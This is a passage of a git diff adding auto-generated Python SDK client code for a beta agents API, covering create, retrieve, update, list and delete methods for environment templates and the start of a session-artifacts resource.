+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "limit": limit,
+ "order": order,
+ "page": page,
+ "path": path,
+ },
+ file_list_params.FileListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=EnvironmentFile,
+ )
+
+
+class FilesWithRawResponse:
+ def __init__(self, files: Files) -> None:
+ self._files = files
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ files.create,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ files.list,
+ )
+
+
+class AsyncFilesWithRawResponse:
+ def __init__(self, files: AsyncFiles) -> None:
+ self._files = files
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ files.create,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ files.list,
+ )
+
+
+class FilesWithStreamingResponse:
+ def __init__(self, files: Files) -> None:
+ self._files = files
+
+ self.create = to_streamed_response_wrapper(
+ files.create,
+ )
+ self.list = to_streamed_response_wrapper(
+ files.list,
+ )
+
+
+class AsyncFilesWithStreamingResponse:
+ def __init__(self, files: AsyncFiles) -> None:
+ self._files = files
+
+ self.create = async_to_streamed_response_wrapper(
+ files.create,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ files.list,
+ )
diff --git a/src/openai/resources/beta/agents/environments/templates.py b/src/openai/resources/beta/agents/environments/templates.py
new file mode 100644
index 0000000000..b8468b34dd
--- /dev/null
+++ b/src/openai/resources/beta/agents/environments/templates.py
@@ -0,0 +1,780 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Iterable, Optional
+from typing_extensions import Literal
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
+from ....._utils import path_template, maybe_transform, async_maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .....pagination import SyncCursorPage, AsyncCursorPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .....types.beta.hosted_skill_param import HostedSkillParam
+from .....types.beta.agents.environments import template_list_params, template_create_params, template_update_params
+from .....types.beta.hosted_plugin_param import HostedPluginParam
+from .....types.beta.setup_command_param import SetupCommandParam
+from .....types.beta.hosted_environment_file_param import HostedEnvironmentFileParam
+from .....types.beta.agents.environments.environment_template import EnvironmentTemplate
+from .....types.beta.agents.environments.environment_template_deleted import EnvironmentTemplateDeleted
+
+__all__ = ["Templates", "AsyncTemplates"]
+
+
+class Templates(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> TemplatesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return TemplatesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> TemplatesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return TemplatesWithStreamingResponse(self)
+
+ def create(
+ self,
+ *,
+ capability_directories: Optional[SequenceNotStr[str]] | Omit = omit,
+ env: Optional[Dict[str, str]] | Omit = omit,
+ files: Optional[Iterable[HostedEnvironmentFileParam]] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ network: Optional[template_create_params.Network] | Omit = omit,
+ packages: Optional[template_create_params.Packages] | Omit = omit,
+ plugins: Optional[Iterable[HostedPluginParam]] | Omit = omit,
+ setup_commands: Optional[Iterable[SetupCommandParam]] | Omit = omit,
+ skills: Optional[Iterable[HostedSkillParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplate:
+ """
+ Creates reusable environment configuration without returning confidential setup
+ commands or environment values. See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ capability_directories: Directories that contain capabilities exposed to the agent. Defaults to an empty
+ list.
+
+ env: Environment variables made available to the agent.
+
+ files: Files available before the agent starts. Defaults to an empty list.
+
+ name: An optional human-readable display name for the template.
+
+ network: Network access for an OpenAI-hosted environment.
+
+ packages: Packages to install in an OpenAI-hosted environment.
+
+ plugins: Plugins provided as inline ZIP archives. Defaults to an empty list.
+
+ setup_commands: Ordered, confidential setup commands. Command bodies are never returned.
+
+ skills: Skills referenced by ID or provided as inline ZIP archives. Defaults to an empty
+ list.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ "/agents/environments/templates",
+ body=maybe_transform(
+ {
+ "capability_directories": capability_directories,
+ "env": env,
+ "files": files,
+ "name": name,
+ "network": network,
+ "packages": packages,
+ "plugins": plugins,
+ "setup_commands": setup_commands,
+ "skills": skills,
+ },
+ template_create_params.TemplateCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplate,
+ )
+
+ def retrieve(
+ self,
+ environment_template_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplate:
+ """
+ Retrieves reusable environment configuration without returning confidential
+ values. See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_template_id:
+ raise ValueError(
+ f"Expected a non-empty value for `environment_template_id` but received {environment_template_id!r}"
+ )
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template(
+ "/agents/environments/templates/{environment_template_id}",
+ environment_template_id=environment_template_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplate,
+ )
+
+ def update(
+ self,
+ environment_template_id: str,
+ *,
+ capability_directories: Optional[SequenceNotStr[str]] | Omit = omit,
+ env: Optional[Dict[str, str]] | Omit = omit,
+ files: Optional[Iterable[HostedEnvironmentFileParam]] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ network: Optional[template_update_params.Network] | Omit = omit,
+ packages: Optional[template_update_params.Packages] | Omit = omit,
+ plugins: Optional[Iterable[HostedPluginParam]] | Omit = omit,
+ setup_commands: Optional[Iterable[SetupCommandParam]] | Omit = omit,
+ skills: Optional[Iterable[HostedSkillParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplate:
+ """
+ Updates reusable environment configuration without returning confidential
+ values. See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ capability_directories: Directories that expose capabilities to the agent.
+
+ env: Replacement confidential environment values.
+
+ files: Replacement file configuration materialized for each new session.
+
+ name: A replacement human-readable display name, or `null` to clear the name.
+
+ network: Network access for an OpenAI-hosted environment.
+
+ packages: Packages to install in an OpenAI-hosted environment.
+
+ plugins: Replacement plugin configuration installed for each new session.
+
+ setup_commands: Replacement confidential setup commands, never included in returned resources.
+
+ skills: Replacement skill configuration installed for each new session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_template_id:
+ raise ValueError(
+ f"Expected a non-empty value for `environment_template_id` but received {environment_template_id!r}"
+ )
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ path_template(
+ "/agents/environments/templates/{environment_template_id}",
+ environment_template_id=environment_template_id,
+ ),
+ body=maybe_transform(
+ {
+ "capability_directories": capability_directories,
+ "env": env,
+ "files": files,
+ "name": name,
+ "network": network,
+ "packages": packages,
+ "plugins": plugins,
+ "setup_commands": setup_commands,
+ "skills": skills,
+ },
+ template_update_params.TemplateUpdateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplate,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[EnvironmentTemplate]:
+ """Lists reusable environment templates without returning confidential values.
+
+ See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/agents/environments/templates",
+ page=SyncCursorPage[EnvironmentTemplate],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ template_list_params.TemplateListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=EnvironmentTemplate,
+ )
+
+ def delete(
+ self,
+ environment_template_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplateDeleted:
+ """
+ Deletes reusable environment configuration and all confidential template inputs.
+ See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_template_id:
+ raise ValueError(
+ f"Expected a non-empty value for `environment_template_id` but received {environment_template_id!r}"
+ )
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._delete(
+ path_template(
+ "/agents/environments/templates/{environment_template_id}",
+ environment_template_id=environment_template_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplateDeleted,
+ )
+
+
+class AsyncTemplates(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncTemplatesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncTemplatesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncTemplatesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncTemplatesWithStreamingResponse(self)
+
+ async def create(
+ self,
+ *,
+ capability_directories: Optional[SequenceNotStr[str]] | Omit = omit,
+ env: Optional[Dict[str, str]] | Omit = omit,
+ files: Optional[Iterable[HostedEnvironmentFileParam]] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ network: Optional[template_create_params.Network] | Omit = omit,
+ packages: Optional[template_create_params.Packages] | Omit = omit,
+ plugins: Optional[Iterable[HostedPluginParam]] | Omit = omit,
+ setup_commands: Optional[Iterable[SetupCommandParam]] | Omit = omit,
+ skills: Optional[Iterable[HostedSkillParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplate:
+ """
+ Creates reusable environment configuration without returning confidential setup
+ commands or environment values. See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ capability_directories: Directories that contain capabilities exposed to the agent. Defaults to an empty
+ list.
+
+ env: Environment variables made available to the agent.
+
+ files: Files available before the agent starts. Defaults to an empty list.
+
+ name: An optional human-readable display name for the template.
+
+ network: Network access for an OpenAI-hosted environment.
+
+ packages: Packages to install in an OpenAI-hosted environment.
+
+ plugins: Plugins provided as inline ZIP archives. Defaults to an empty list.
+
+ setup_commands: Ordered, confidential setup commands. Command bodies are never returned.
+
+ skills: Skills referenced by ID or provided as inline ZIP archives. Defaults to an empty
+ list.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ "/agents/environments/templates",
+ body=await async_maybe_transform(
+ {
+ "capability_directories": capability_directories,
+ "env": env,
+ "files": files,
+ "name": name,
+ "network": network,
+ "packages": packages,
+ "plugins": plugins,
+ "setup_commands": setup_commands,
+ "skills": skills,
+ },
+ template_create_params.TemplateCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplate,
+ )
+
+ async def retrieve(
+ self,
+ environment_template_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplate:
+ """
+ Retrieves reusable environment configuration without returning confidential
+ values. See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_template_id:
+ raise ValueError(
+ f"Expected a non-empty value for `environment_template_id` but received {environment_template_id!r}"
+ )
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template(
+ "/agents/environments/templates/{environment_template_id}",
+ environment_template_id=environment_template_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplate,
+ )
+
+ async def update(
+ self,
+ environment_template_id: str,
+ *,
+ capability_directories: Optional[SequenceNotStr[str]] | Omit = omit,
+ env: Optional[Dict[str, str]] | Omit = omit,
+ files: Optional[Iterable[HostedEnvironmentFileParam]] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ network: Optional[template_update_params.Network] | Omit = omit,
+ packages: Optional[template_update_params.Packages] | Omit = omit,
+ plugins: Optional[Iterable[HostedPluginParam]] | Omit = omit,
+ setup_commands: Optional[Iterable[SetupCommandParam]] | Omit = omit,
+ skills: Optional[Iterable[HostedSkillParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplate:
+ """
+ Updates reusable environment configuration without returning confidential
+ values. See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ capability_directories: Directories that expose capabilities to the agent.
+
+ env: Replacement confidential environment values.
+
+ files: Replacement file configuration materialized for each new session.
+
+ name: A replacement human-readable display name, or `null` to clear the name.
+
+ network: Network access for an OpenAI-hosted environment.
+
+ packages: Packages to install in an OpenAI-hosted environment.
+
+ plugins: Replacement plugin configuration installed for each new session.
+
+ setup_commands: Replacement confidential setup commands, never included in returned resources.
+
+ skills: Replacement skill configuration installed for each new session.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_template_id:
+ raise ValueError(
+ f"Expected a non-empty value for `environment_template_id` but received {environment_template_id!r}"
+ )
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ path_template(
+ "/agents/environments/templates/{environment_template_id}",
+ environment_template_id=environment_template_id,
+ ),
+ body=await async_maybe_transform(
+ {
+ "capability_directories": capability_directories,
+ "env": env,
+ "files": files,
+ "name": name,
+ "network": network,
+ "packages": packages,
+ "plugins": plugins,
+ "setup_commands": setup_commands,
+ "skills": skills,
+ },
+ template_update_params.TemplateUpdateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplate,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[EnvironmentTemplate, AsyncCursorPage[EnvironmentTemplate]]:
+ """Lists reusable environment templates without returning confidential values.
+
+ See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/agents/environments/templates",
+ page=AsyncCursorPage[EnvironmentTemplate],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ template_list_params.TemplateListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=EnvironmentTemplate,
+ )
+
+ async def delete(
+ self,
+ environment_template_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentTemplateDeleted:
+ """
+ Deletes reusable environment configuration and all confidential template inputs.
+ See
+ [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_template_id:
+ raise ValueError(
+ f"Expected a non-empty value for `environment_template_id` but received {environment_template_id!r}"
+ )
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._delete(
+ path_template(
+ "/agents/environments/templates/{environment_template_id}",
+ environment_template_id=environment_template_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentTemplateDeleted,
+ )
+
+
+class TemplatesWithRawResponse:
+ def __init__(self, templates: Templates) -> None:
+ self._templates = templates
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ templates.create,
+ )
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ templates.retrieve,
+ )
+ self.update = _legacy_response.to_raw_response_wrapper(
+ templates.update,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ templates.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ templates.delete,
+ )
+
+
+class AsyncTemplatesWithRawResponse:
+ def __init__(self, templates: AsyncTemplates) -> None:
+ self._templates = templates
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ templates.create,
+ )
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ templates.retrieve,
+ )
+ self.update = _legacy_response.async_to_raw_response_wrapper(
+ templates.update,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ templates.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ templates.delete,
+ )
+
+
+class TemplatesWithStreamingResponse:
+ def __init__(self, templates: Templates) -> None:
+ self._templates = templates
+
+ self.create = to_streamed_response_wrapper(
+ templates.create,
+ )
+ self.retrieve = to_streamed_response_wrapper(
+ templates.retrieve,
+ )
+ self.update = to_streamed_response_wrapper(
+ templates.update,
+ )
+ self.list = to_streamed_response_wrapper(
+ templates.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ templates.delete,
+ )
+
+
+class AsyncTemplatesWithStreamingResponse:
+ def __init__(self, templates: AsyncTemplates) -> None:
+ self._templates = templates
+
+ self.create = async_to_streamed_response_wrapper(
+ templates.create,
+ )
+ self.retrieve = async_to_streamed_response_wrapper(
+ templates.retrieve,
+ )
+ self.update = async_to_streamed_response_wrapper(
+ templates.update,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ templates.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ templates.delete,
+ )
diff --git a/src/openai/resources/beta/agents/sessions/__init__.py b/src/openai/resources/beta/agents/sessions/__init__.py
new file mode 100644
index 0000000000..a91c716a61
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/__init__.py
@@ -0,0 +1,89 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .items import (
+ Items,
+ AsyncItems,
+ ItemsWithRawResponse,
+ AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse,
+)
+from .turns import (
+ Turns,
+ AsyncTurns,
+ TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse,
+)
+from .events import (
+ Events,
+ AsyncEvents,
+ EventsWithRawResponse,
+ AsyncEventsWithRawResponse,
+ EventsWithStreamingResponse,
+ AsyncEventsWithStreamingResponse,
+)
+from .sessions import (
+ Sessions,
+ AsyncSessions,
+ SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse,
+)
+from .artifacts import (
+ Artifacts,
+ AsyncArtifacts,
+ ArtifactsWithRawResponse,
+ AsyncArtifactsWithRawResponse,
+ ArtifactsWithStreamingResponse,
+ AsyncArtifactsWithStreamingResponse,
+)
+from .subagents import (
+ Subagents,
+ AsyncSubagents,
+ SubagentsWithRawResponse,
+ AsyncSubagentsWithRawResponse,
+ SubagentsWithStreamingResponse,
+ AsyncSubagentsWithStreamingResponse,
+)
+
+__all__ = [
+ "Subagents",
+ "AsyncSubagents",
+ "SubagentsWithRawResponse",
+ "AsyncSubagentsWithRawResponse",
+ "SubagentsWithStreamingResponse",
+ "AsyncSubagentsWithStreamingResponse",
+ "Artifacts",
+ "AsyncArtifacts",
+ "ArtifactsWithRawResponse",
+ "AsyncArtifactsWithRawResponse",
+ "ArtifactsWithStreamingResponse",
+ "AsyncArtifactsWithStreamingResponse",
+ "Items",
+ "AsyncItems",
+ "ItemsWithRawResponse",
+ "AsyncItemsWithRawResponse",
+ "ItemsWithStreamingResponse",
+ "AsyncItemsWithStreamingResponse",
+ "Events",
+ "AsyncEvents",
+ "EventsWithRawResponse",
+ "AsyncEventsWithRawResponse",
+ "EventsWithStreamingResponse",
+ "AsyncEventsWithStreamingResponse",
+ "Turns",
+ "AsyncTurns",
+ "TurnsWithRawResponse",
+ "AsyncTurnsWithRawResponse",
+ "TurnsWithStreamingResponse",
+ "AsyncTurnsWithStreamingResponse",
+ "Sessions",
+ "AsyncSessions",
+ "SessionsWithRawResponse",
+ "AsyncSessionsWithRawResponse",
+ "SessionsWithStreamingResponse",
+ "AsyncSessionsWithStreamingResponse",
+]
diff --git a/src/openai/resources/beta/agents/sessions/artifacts.py b/src/openai/resources/beta/agents/sessions/artifacts.py
new file mode 100644
index 0000000000..60e6d067ad
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/artifacts.py
@@ -0,0 +1,551 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ....._utils import path_template, maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import (
+ StreamedBinaryAPIResponse,
+ AsyncStreamedBinaryAPIResponse,
+ to_streamed_response_wrapper,
+ async_to_streamed_response_wrapper,
+ to_custom_streamed_response_wrapper,
+ async_to_custom_streamed_response_wrapper,
+)
+from .....pagination import SyncCursorPage, AsyncCursorPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .....types.beta.agents.sessions import artifact_list_params
+from .....types.beta.agents.sessions.session_artifact import SessionArtifact
+from .....types.beta.agents.sessions.session_artifact_deleted import SessionArtifactDeleted
+
+__all__ = ["Artifacts", "AsyncArtifacts"]
+
+
+class Artifacts(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> ArtifactsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return ArtifactsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> ArtifactsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return ArtifactsWithStreamingResponse(self)
+
+ def retrieve(
+ self,
+ artifact_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SessionArtifact:
+ """Retrieves immutable metadata for one durable session artifact.
+
+ See
+ [session artifacts](https://developers.openai.com/api/docs/guides/agents-api/environments/files#openai-hosted-artifacts).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not artifact_id:
+ raise ValueError(f"Expected a non-empty value for `artifact_id` but received {artifact_id!r}")
